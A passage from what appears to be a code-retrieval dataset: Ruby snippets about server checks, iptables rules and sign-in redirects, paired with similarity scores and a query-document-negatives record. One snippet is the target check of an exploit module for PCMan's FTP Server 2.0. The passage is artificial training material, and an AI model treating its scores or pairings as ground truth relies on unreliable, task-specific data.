"def get_apache_errors\n php_web[:status] = 1\n if File.exist?('/var/log/apache2')\n log_file = '/var/log/apache2'\n elsif File.exist?('/var/log/httpd')\n log_file = '/var/log/httpd'\n end\n command = \"tail -n 5000 #{log_file}/*error* | grep 'PHP Fatal error:'\"\n so = shell_out(command)\n errors = so.stdout.split(\"\\n\")\n php_web[:status] = 2\n # rubocop:disable Blocks\n if errors\n errors.map! do |e|\n match_data = TIME_PATTERN.match(e)\n [Time.parse(match_data[3]), match_data[1], match_data[2]]\n end\n end\n # rubocop:enable Blocks\n php_web[:status] = 3\n\n return errors\n end",
"def needs_host_list?\n vima? || okeanos?\n end",
"def unavailable\n render \"errors/503\", :status => 503 \n\tend",
"def host_is_app_host?(hostname)\n hostname == \"adapt.127.0.0.1.xip.io\"\n end",
"def vip_required?\n !config.wordpress.vip.nil?\n end",
"def configureStartup\n `chkconfig --add nagios`\n `chkconfig --level 35 nagios on`\n `chkconfig --add httpd`\n `chkconfig --level 35 httpd on`\n `iptables -I INPUT 1 -s #{@ips[0]}/#{@mask} -p tcp -m tcp --dport 80 -j ACCEPT`\n `iptables -I INPUT 1 -s #{@ips[0]}/#{@mask} -p udp -m udp --dport 80 -j ACCEPT`\n `service iptables save`\n `service iptables restart`\n end",
"def option_httpchk(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option httpchk \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def wait_until_unhealthy!\n agent = consul.get(\"/agent/self\")[\"Member\"][\"Name\"]\n consul.get_while(\"/health/node/#{agent}\") do |data|\n status = data.detect {|x| x[\"CheckID\"] == \"service:#{name}\" }[\"Status\"]\n status == 'passing'\n end\n end",
"def reload_node_web_proxy\n out, err, rc = shellCmd(\"service openshift-node-web-proxy reload\")\n Syslog.alert(\"ERROR: failure from openshift-node-web-proxy(#{rc}): #{@uuid} stdout: #{out} stderr:#{err}\") unless rc == 0\n return out, err, rc\n end",
"def reload_node_web_proxy\n out, err, rc = shellCmd(\"service openshift-node-web-proxy reload\")\n Syslog.alert(\"ERROR: failure from openshift-node-web-proxy(#{rc}): #{@uuid} stdout: #{out} stderr:#{err}\") unless rc == 0\n return out, err, rc\n end",
"def status\n \n # Check the daemon\n %x(cd #{params[:dir]}; #{params[:daemon]} -conf=coin.conf getinfo 2>&1)\n render :json => {:result => :failure} if not $?.success?\n \n # Grep for stratum\n if `ps aux | grep twist[d]` == \"\"\n render :json => {:result => :failure}\n end\n\n # Everything must be working\n render :json => {:result => :success}\n end",
"def lb_active?\n self.active? and self.node_type.node_type == 'load balancer' and self.pdus.length == 1 \n end",
"def allowHost\n end",
"def check_osx_apache(options)\n ssl_dir = \"/private/etc/apache2/ssl\"\n check_dir_exists(options,ssl_dir)\n server_key = ssl_dir+\"/server.key\"\n if not File.exist?(server_key)\n message = \"information:\\tGenerating Apache SSL Server Key \"+server_key\n command = \"ssh-keygen -f #{server_key}\"\n execute_command(options,message,command)\n end\n return\nend",
"def check\r\n\r\n # Connect to RHOST on PORT\r\n connect_login\r\n disconnect\r\n\r\n # Does Banner equal (===) to 220 PCMan's FTP Server 2.0?\r\n if /220 PCMan's FTP Server 2\\.0/ === banner\r\n Exploit::CheckCode::Appears\r\n else\r\n Exploit::CheckCode::Safe\r\n end\r\n end",
"def check_gdom_isnt_running(options)\n message = \"Information:\\tChecking Guest Domain \"+options['name']+\" is running\"\n command = \"ldm list-bindings #{options['name']} |grep '^#{options['name']}'\"\n output = execute_command(options,message,command)\n if output.match(/active/)\n handle_output(options,\"Warning:\\tGuest Domain #{options['name']} is already running\")\n quit(options)\n end\n return\nend",
"def server_running?\n http = Net::HTTP.new(\"localhost\", @port)\n req = Net::HTTP::Get.new(\"/index.html\")\n http.request(req).is_a?(Net::HTTPOK)\n rescue Errno::ECONNREFUSED\n false\n end",
"def check_web_server_running\n string = \"Testing Web Server...\"\n url = Constants::WEB_SERVER_URL\n\n # check if http:// was in the url if not add it in there\n url.insert(0, \"http://\") unless(url.match(/^http\\:\\/\\//))\n\n # Get the HTTP_RESPONSE from the site we are checking\n begin\n res = Net::HTTP.get_response(URI.parse(url.to_s))\n running = false\n # Check the response code\n if !res.code =~ /2|3\\d{2}/\n string << \" \" + red(\"Not Running!\")\n else\n running = true\n string << \" \" + green(\"Running\")\n end #if\n log_print string\n rescue\n @log.error {\"#{@options[:web_server]} web server unresponsive!\"}\n end\n\n running\n end",
"def enable_passenger\n unless @enable_passenger\n installed_as_worker\n has_package \"build-essential\"\n has_package \"apache2-prefork-dev\"\n has_gem_package \"fastthread\"\n has_gem_package \"passenger\", :version => passenger_version\n passenger_configs\n \n has_exec \"install_passenger_script\" do\n command \"passenger-install-apache2-module --auto\"\n notifies get_exec(\"restart-apache2\"), :run\n requires get_exec(\"restart-apache2\")\n requires get_package(\"apache2\")\n requires get_gem_package(\"passenger\")\n not_if \"test -e \\#{node[:passenger_site][:passenger_module_path]}\"\n # creates lambda { \"passenger_site[:passenger_module_path]\" }\n end\n \n @enable_passenger = true\n end\n end",
"def option_log_health_checks\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option log-health-checks \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def check_admin(url)\n if !current_user.is_admin\n redirect_to(url, alert: 'You need administrator privileges to perform that task.')\n end\n end",
"def health\n response, success = ::Portus::Health.check\n render json: response, status: success ? :ok : :service_unavailable\n end",
"def connection?\n check = Netchecker.new() \n @alive = check.check_url(\"google.com\", 80) \n end",
"def do_ping\n\t\t\tstatus=`initctl status #{@job_name}`\n\t\t\tstatus.include?(\"running\") ? :up : :down\n\t end"
] |
[
"0.6043811",
"0.6025303",
"0.59249675",
"0.5880701",
"0.57092494",
"0.5686053",
"0.56080455",
"0.56009674",
"0.55839986",
"0.5545523",
"0.552574",
"0.55129635",
"0.55092144",
"0.5497664",
"0.54610175",
"0.5460222",
"0.5456958",
"0.5438755",
"0.54276156",
"0.54166347",
"0.5409819",
"0.53896725",
"0.53821486",
"0.537142",
"0.53644025",
"0.53630984",
"0.5359995",
"0.53424406",
"0.53421104",
"0.5330691",
"0.5325118",
"0.5323898",
"0.53092617",
"0.5307844",
"0.5307844",
"0.5282593",
"0.52663815",
"0.52659273",
"0.5254067",
"0.52506524",
"0.5243966",
"0.5235689",
"0.5232639",
"0.52325875",
"0.52244306",
"0.5209877",
"0.52063733",
"0.52045816",
"0.52044964",
"0.519797",
"0.51903754",
"0.51884705",
"0.5175577",
"0.5170126",
"0.5158617",
"0.515571",
"0.51546574",
"0.51421154",
"0.5134034",
"0.512681",
"0.5121308",
"0.5108166",
"0.5105765",
"0.508606",
"0.508606",
"0.5081997",
"0.5080334",
"0.50654763",
"0.5041907",
"0.5038858",
"0.5038088",
"0.5029729",
"0.502721",
"0.50265044",
"0.5023405",
"0.50229955",
"0.50229955",
"0.5014421",
"0.50142425",
"0.50127876",
"0.5010202",
"0.49967077",
"0.49885222",
"0.49777225",
"0.4976979",
"0.49763083",
"0.49763083",
"0.49757275",
"0.4968382",
"0.49643788",
"0.4952811",
"0.4950692",
"0.49475417",
"0.4941333",
"0.49364296",
"0.4934688",
"0.4934088",
"0.49314153",
"0.49190184",
"0.4917764",
"0.4913367"
] |
0.0
|
-1
|
if the user needs to be logged in (but is not), this function redirects to the signin page but saves the current location, so after the login the user can be redirected
|
def signed_in_user
unless signed_in?
store_location
redirect_to signin_url, notice: "You have to be logged in to do this"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location #record url of intended page before redirect\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n\t store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def signed_in_user\n store_location #pour ensuite rediriger l'utilisateur vers la destination qu'il voulait avant\n # d'etre rediriger vers la pagne d'authentification\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end",
"def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end",
"def logged_in_user\n return if logged_in?\n store_location\n redirect_to sessions_new_path, alert: 'Please log in.'\n end",
"def signed_in_user\n unless signed_in?\n # If not signed in, save current location in session object\n # to be able to redirect after successful sign in.\n session[:return_to] = request.url\n # prompt sign in page\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n # store friendly URL so we can redirect after signin (stored in session)\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def custom_user_sign_in\n if current_user.nil?\n session[:return_location] = request.referrer\n redirect_to new_user_session_path\n else\n redirect_to request.referrer || root_path\n end\n end",
"def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n #def redirect_if_logged_in_as_someone_else\n #end\n end",
"def logged_in_user\n\t unless logged_in?\n\t store_location # store where the user was going to go (redirects them to it after they log in)\n\t flash[:danger] = \"Please log in.\"\n\t redirect_to login_url\n\t end\n\t end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end\n end",
"def logged_in_user\n unless logged_in?\n #We store the location where the users want to go\n #and then ask them to log in, once they log in, we will\n #redirect them to that location.\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to :signin, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n redirect_to signin_path, :status => 302 unless signed_in?\n end",
"def signed_in_user\n redirect_to signin_path, :status => 302 unless signed_in?\n end",
"def signed_in_user\n unless signed_in?\n store_location # for friendly forwarding\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to( signin_url, notice: \"Please sign in.\" )\n end\n end",
"def sign_in_and_redirect!\n set_user_session_from_oauth\n set_user_cookie\n\n url = if params[:state] == \"popup\"\n Exvo::Helpers.auth_uri + \"/close_popup.html\"\n elsif params[:state] # if not popup then an url\n params[:state]\n else\n session[:user_return_to] || \"/\"\n end\n\n redirect_to url\n end",
"def logged_in_user\n unless logged_in?\n # store current location to automatically redirect user after login\n store_location\n # show a flash message on the page\n flash[:danger] = \"Per favore effettua il login\"\n # redirect user to login page\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in first.\"\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please sign in.\"\n redirect_to signin_url\n end\n end",
"def logged_in_user\n unless logged_in? #this is equivalent to if !logged_in? or user is not logged in\n store_location #session help method that stores the accessed url\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:alert] = \"Please sign up or log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to signin_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash_please_log_in\n redirect_to login_url\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to root_path, notice: \"Please sign in.\"\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location # This line uses a method in sessions_helper to store request location so that it may redirect them to that location upon login.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash.now[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def redirect_if_logged_in\n if current_user && session[:url_on_missing_user_session]\n url = session[:url_on_missing_user_session]\n session[:url_on_missing_user_session] = nil\n redirect_to url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def authenticate_user\n if !user_logged_in?\n # Store current url path for future reference\n store_location\n # Redirect to home page with error flash\n flash[:error] = \"Please Signin to access this page\"\n redirect_to root_path\n end\n end",
"def signIn_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def redirect_if_logged_in\n redirect_to root_path if logged_in?\n end",
"def logged_in_user\n unless logged_in?\n # store intended location to be used for friendly forwarding after\n # the user properly logs in\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n\t store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def signed_in_user\n\n\t\t# If check to see if user is signed in\n \tunless signed_in?\n\n \t\t# Store the last the requested action and store it\n \t\tstore_location\n\n \t\t# Redirect to the signin url with notice to signin\n \t\tredirect_to signin_url, notice: \"Please sign in.\"\n \tend\n \tend",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def user_signin_status\n unless user_signed_in?\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless current_user\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def signed_in_user\r\n unless signed_in?\r\n store_location\r\n redirect_to signin_url, notice: \"Please sign in.\"\r\n end\r\n end",
"def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location \n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in to view this page.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = t 'login_message'\n redirect_to login_url\n end\n end",
"def logged_in_user\n store_location unless logged_in?\n flash[:info] = 'Please log in.' unless logged_in?\n redirect_to login_url unless logged_in?\n end",
"def authenticate_user!\n unless logged_in?\n store_location\n redirect_to log_in_path\n end\n end",
"def logged_in_user\n if user_signed_in? then\n \n else\n redirect_to root_path\n end \n \n end",
"def redirect_if_signed_in\n if user_signed_in?\n redirect_to home_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n\t\tunless logged_in?\n\t\tstore_location\n\t\tflash[ :danger] = \"Please log in\"\n\t\tredirect_to login_url\n\tend\n\tend",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = 'Unauthorized'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end"
] |
[
"0.83159953",
"0.8314148",
"0.8314148",
"0.8266438",
"0.80920374",
"0.8076656",
"0.8045759",
"0.8045759",
"0.80294365",
"0.80105996",
"0.7968521",
"0.79677814",
"0.79547155",
"0.7929061",
"0.7919851",
"0.79061097",
"0.79027677",
"0.7897464",
"0.7889551",
"0.7889551",
"0.7883527",
"0.7875705",
"0.7874226",
"0.78738385",
"0.78569806",
"0.785282",
"0.7850049",
"0.7847238",
"0.7843897",
"0.7838324",
"0.7827991",
"0.7820368",
"0.7817742",
"0.78101224",
"0.7809589",
"0.78079146",
"0.78002316",
"0.78002316",
"0.78000635",
"0.7796782",
"0.77942276",
"0.7791493",
"0.7791236",
"0.7786213",
"0.7779309",
"0.7779309",
"0.7779309",
"0.7776589",
"0.7774816",
"0.77681047",
"0.7764581",
"0.7764581",
"0.77592254",
"0.7757856",
"0.7756395",
"0.7754082",
"0.7754075",
"0.77439064",
"0.7743595",
"0.77419007",
"0.77389675",
"0.7736803",
"0.7735916",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735766",
"0.7735608",
"0.7735608"
] |
0.77519655
|
57
|
redirect to the stored location (if there is one)
|
def redirect_back_or(default)
redirect_to(session[:return_to] || default)
session.delete(:return_to)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def redirect_to_stored(default='/')\n return_to = session[:return_to] || default\n session[:return_to] = nil\n redirect return_to\n end",
"def redirect?; end",
"def store_location\n session[:redirect] = request.url\n end",
"def store_location!\n session[\"return_to\"] = request.env[\"warden.options\"][:attempted_path] if request.get?\n end",
"def redirect(location, status = '302'); request.redirect(location, status); end",
"def redirect_to_stored_location_or(default)\n redirect_to(session[:forward_url] || default)\n session.delete(:forward_url)\n end",
"def store_and_redirect_location\n #session[:return_to] = \"/\"\n redirect_to \"/welcome/new\",:status => 401\n end",
"def store_location\n session[:redirect_path] = request.path\n end",
"def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t\tend",
"def store_location(url = url_for(:controller => controller_name, :action => action_name))\n # It's possible to create a redirection attack with a redirect to data: protocol... and possibly others, so:\n # Whitelisting redirection to our own site and relative paths.\n url = nil unless url =~ /\\A([%2F\\/]|#{root_url})/\n session[:return_to] = url\n end",
"def store_location!\n session[:\"#{scope}_return_to\"] = attempted_path if request.get? && !http_auth?\n end",
"def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend",
"def store_location\n\t\tsession[:return_to] = request.fullpath\n\tend",
"def store_location\n\t\t\tsession[:return_to] = request.fullpath\n\t end",
"def store_location\n\t\tsession[:return_to] = request.url\n\tend",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def redirect\n redirect_to @goto_url\n end",
"def redirect_to(url)\n check_already_rendered\n session.store_session(response)\n response.status = 302\n response['Location'] = url\n @already_rendered = true\n end",
"def store_location\n\n\t\t# Stores the requested page in a session symbol return_to\n\t\tsession[:return_to] = request.url\n\tend",
"def redirect(url); end",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def redirect_to(url)\n self.res.status = 302\n #how would I know about location\n self.res.header[\"location\"] = url\n session.store_session(self.res)\n\n #self.res.set_redirect(WEBrick::HTTPStatus::TemporaryRedirect, url)\n if already_rendered?\n raise \"Can't render/redirect twice\"\n end\n\n #following might be wrong b/c of no setter\n @already_built_response = true\n nil\n end",
"def store_location\n\t\tsession[ :forwarding_url ] = request.original_url if request.get?\n\tend",
"def redirect(options = {})\r\n end",
"def store_location\n \t\tsession[:forwarding_url] = request.original_url if request.get?\n \tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url]=request.original_url if request.get?\n\tend",
"def store_location\n unless controller_name == \"sessions\" || action_name == \"activate\"\n session[:return_to] =\n if request.get?\n request.request_uri\n else\n request.referer\n end\n end\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n \tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n session[\"return-to\"] = request.fullpath\n end",
"def redirect_ok; end",
"def redirect_ok; end",
"def redirect_to(url)\n if !already_built_response?\n @res[\"location\"] = url\n @res.status = 302\n @already_built_response = true\n else\n raise \"exception\"\n end\n session.store_session(res)\n # storing the flash will fail the last spec\n flash.store_flash(res)\n end",
"def store_location\n session['return-to'] = request.path\n end",
"def store_location\n session[:return_to] = request.fullpath \n end",
"def redirect_to(url)\n raise \"double render error\" if @already_built_response\n # Issuing a redirect consists of two parts, setting the 'Location'\n # field of the response header to the redirect url and setting the\n # response status code to 302\n @already_built_response = true\n res.location = url\n res.status = 302\n @session.store_session(res)\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:return_to] = request.fullpath\n end",
"def store_location\n session[:forwarding_url] = request.original_fullpath if request.get?\n end",
"def store_redirect\n if params.key?(:redirect)\n store_redirect_url_for(params[:redirect], request.referer)\n end\n end",
"def redirect_to(url)\n unless already_built_response?\n @res[\"location\"] = url\n @res.status = 302\n @already_built_response = true\n else\n fail\n end\n session.store_session(res)\n end",
"def store_location\n store_location_for(:user, params[:redirect_to]) if params[:redirect_to].present?\n\n # note: don't store the previous url on each call. this led to an issue where\n # missing asset might get run through this code, causing the user to be redirected\n # to the missing asset during a login\n # session[:previous_url] = request.url if request.url != new_user_session_url\n end",
"def store_location\n session[:redirect_after_login] = request.request_uri\n end",
"def redirect_to(url)\n raise DoubleRenderError if already_built_response?\n res.header['location'] = url\n res.status = 302\n @already_built_response = true\n session.store_session(res)\n end",
"def store_location\n session[:return_to] = request.url\n end",
"def store_location\n session[:return_to] = request.original_url\n end",
"def redirect_to_stored_or_default(default)\n if session['return-to'].nil?\n redirect_to default\n else\n redirect_to_url session['return-to']\n session['return-to'] = nil\n end\nend",
"def store_location\n\t session[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def redirect_to options = {}\n @has_redirect = options\n end",
"def store_location\n session[:return_to] = request.uri\n end",
"def after_anyway\n redirect redirection if redirection\n end",
"def store_location\n session[:return_to] = request.url\n end",
"def store_location\n session[:return_to] = request.url\n end",
"def store_location\n session[:return_to] = request.url\n end",
"def store_location\n session[:return_to] = request.url\n end",
"def store_location\n if request.get?\n session[:forwarding_url] = request.original_url\n end\n end",
"def redirect_to(url)\n raise \"Already delivered response\" if self.already_built_response?\n res.status = 302\n res['Location'] = url\n @already_built_response = true\n self.session.store_session(res)\n self.flash.store_flash(res)\n end",
"def redirect_to(url)\n raise 'Already responded' if already_built_response?\n flash.store_flash(res)\n res['Location'] = url\n res.status = 302\n @already_built_response = true\n session.store_session(res)\n end",
"def my\n redirect_to kases_person_path(@person), :status => :moved_permanently\n return\n end",
"def redirect_path\r\n !(@target =~ /invoice/i).nil? ? redirect_to(new_invoice_path) : set_reload_path\r\n end",
"def gringotts_redirect_to(url)\n # save url for redirecting back after we verify\n flash[:gringotts_next_url] = request.original_url\n \n # keep other flash items (e.g., success messages)\n flash.keep\n \n # last but not least ... redirect\n redirect_to url\n end",
"def redirect_to(path)\n render(:status => 302, \"Location\" => path) { p { text(\"You are redirected to \"); a(path, :href => path) } }\n end",
"def redirect_back_or_default(default)\n redirect_to(pop_stored_location || default)\n end",
"def redirect_to(url)\n if already_built_response?\n raise \"DoubleRenderError\" \n else \n @res.status = 302 \n # @res.set_header('Content-Type', content_type)\n @res.set_header('location', url)\n # @res.write(content) \n session.store_session(res)\n # debugger\n @already_built_response = true \n # debugger\n end \n end",
"def redirect_back_or_default(default)\n redirect_to(pop_stored_location || default)\n end",
"def redirect(url)\n raise \"To be implemented by client application\"\n end",
"def store_location\n session[:return_to] = request.request_uri if not current_user\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
